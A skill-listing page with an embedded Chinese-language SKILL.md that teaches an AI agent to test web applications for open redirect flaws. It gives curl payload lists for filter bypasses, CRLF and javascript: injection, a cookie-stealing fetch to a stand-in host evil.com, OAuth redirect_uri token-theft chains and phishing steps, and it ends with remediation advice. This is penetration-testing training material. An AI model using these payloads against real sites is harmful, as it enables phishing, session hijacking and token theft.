testing-for-open-redirect-vulnerabilities

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

9 stars

Best use case

testing-for-open-redirect-vulnerabilities is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

Teams using testing-for-open-redirect-vulnerabilities should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/testing-for-open-redirect-vulnerabilities/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/testing-for-open-redirect-vulnerabilities/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/testing-for-open-redirect-vulnerabilities/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How testing-for-open-redirect-vulnerabilities Compares

Feature / Agenttesting-for-open-redirect-vulnerabilitiesStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 测试开放重定向漏洞(Testing for Open Redirect Vulnerabilities)

## 适用场景
- 测试将用户重定向到指定 URL 的登录/登出流程
- 评估带有 redirect_uri 参数的 OAuth 授权端点
- 审计包含 URL 参数的应用程序(next、url、redirect、return、goto、target)
- 在网络钓鱼模拟中链接开放重定向与凭据收集
- 测试 SSO 实现中的重定向验证弱点

## 前置条件
- Burp Suite 或 OWASP ZAP(用于拦截重定向请求)
- 收集开放重定向绕过 Payload
- 用于确认重定向的外部域名或 Burp Collaborator
- 了解 URL 解析和编码方案
- 安装了开发者工具的浏览器(用于观察重定向链)
- 熟悉 HTTP 301/302/303/307/308 重定向状态码

## 工作流程

### 步骤 1 — 识别重定向参数
```bash
# 需要测试的常见重定向参数名称:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# 在应用程序中搜索重定向参数
# 使用 Burp Suite 爬取并识别所有参数

# 测试基本重定向
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"
```

### 步骤 2 — 测试基本开放重定向 Payload
```bash
# 直接外部 URL
curl -v "http://target.com/redirect?url=https://evil.com"

# 协议相对 URL
curl -v "http://target.com/redirect?url=//evil.com"

# 带 @ 符号的 URL(用户信息滥用)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# 基于反斜杠的重定向
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# 空字节注入
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"
```

### 步骤 3 — 应用验证绕过技术
```bash
# 子域名混淆绕过
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL 编码绕过
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# 双重 URL 编码
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# 混合大小写协议
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# 重定向中的 CRLF 注入
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript 协议
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"
```

### 步骤 4 — 测试基于路径的重定向
```bash
# 相对路径注入
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# 带重定向的路径遍历
curl -v "http://target.com/redirect?url=/../../../evil.com"

# 基于片段的绕过
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# 重定向参数污染
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"
```

### 步骤 5 — 与其他漏洞链接
```bash
# 与 OAuth 结合实现 Token 窃取
# 步骤 1:在 target.com 上找到开放重定向
# 步骤 2:在 OAuth 流程中将其用作 redirect_uri
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# 与网络钓鱼链接
# 在 evil.com 创建令人信服的钓鱼页面
# 使用开放重定向:http://target.com/redirect?url=https://evil.com/login
# 受害者在初始 URL 中看到 target.com

# 通过 javascript: 协议与 XSS 链接
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"
```

### 步骤 6 — 自动化开放重定向测试
```bash
# 使用 OpenRedireX 进行自动化测试
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# 使用 gf 工具从 URL 中提取重定向参数
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# 使用 nuclei 批量测试
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# 使用 ffuf 测试
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| 未验证重定向(Unvalidated Redirect) | 应用程序在不检查目标的情况下重定向到用户提供的 URL |
| URL 解析不一致(URL Parsing Inconsistency) | 不同库对 URL 的解析方式不同,导致可被绕过 |
| 协议相对 URL(Protocol-Relative URL) | 使用 // 前缀进行重定向,同时继承当前协议 |
| 用户信息滥用(Userinfo Abuse) | 使用 @ 符号使 URL 看起来属于可信域名 |
| 开放重定向链(Open Redirect Chain) | 组合多个开放重定向,或与其他漏洞链接 |
| 基于 DOM 的重定向(DOM-Based Redirect) | 客户端 JavaScript 使用攻击者控制的输入执行重定向 |
| Meta 刷新重定向(Meta Refresh Redirect) | 使用 HTML meta 标签进行重定向,无需服务端 302 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| OpenRedireX | 自动化开放重定向漏洞测试工具 |
| Burp Suite | 用于拦截和修改重定向参数的 HTTP 代理 |
| gf (tomnomnom) | 从 URL 列表中提取重定向参数的模式匹配工具 |
| nuclei | 带有开放重定向检测模板的基于模板扫描器 |
| ffuf | 用于批量测试重定向参数 Payload 的模糊测试工具 |
| OWASP ZAP | 带有开放重定向检测功能的自动化扫描器 |

## 常见场景

1. **网络钓鱼放大** — 使用受信任域名上的开放重定向,提升针对用户的钓鱼 URL 的可信度
2. **OAuth Token 窃取** — 在 OAuth 流程中利用开放重定向作为 redirect_uri,窃取授权码和访问 Token
3. **SSO 绕过** — 将 SSO 认证响应重定向到攻击者控制的服务器,以捕获会话 Token
4. **通过重定向实现 XSS** — 将开放重定向与 javascript: 协议链接,实现跨站脚本攻击
5. **Referer 泄露** — 使用开放重定向,在重定向到外部站点时通过 Referer 头部泄露敏感 Token

## 输出格式

```
## 开放重定向评估报告
- **目标**:http://target.com
- **发现的易受攻击参数数量**:3
- **所需绕过技术**:URL 编码、用户信息滥用

### 发现
| # | 端点 | 参数 | Payload | 影响 |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | 网络钓鱼 |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token 窃取 |
| 3 | /logout | return | https://evil.com%00.target.com | 会话重定向 |

### 修复建议
- 实施允许重定向目标的白名单
- 使用严格的 URL 解析在服务端验证重定向 URL
- 拒绝包含外部域名的重定向 URL
- 使用间接引用映射代替直接 URL 参数
```

Related Skills

triaging-vulnerabilities-with-ssvc-framework

9
from killvxk/cybersecurity-skills-zh

使用 CISA 的利益相关方特定漏洞分类(SSVC)决策树框架对漏洞进行分类和优先排序,产出可操作的修复优先级:Track、Track*、Attend 或 Act。

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-host-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。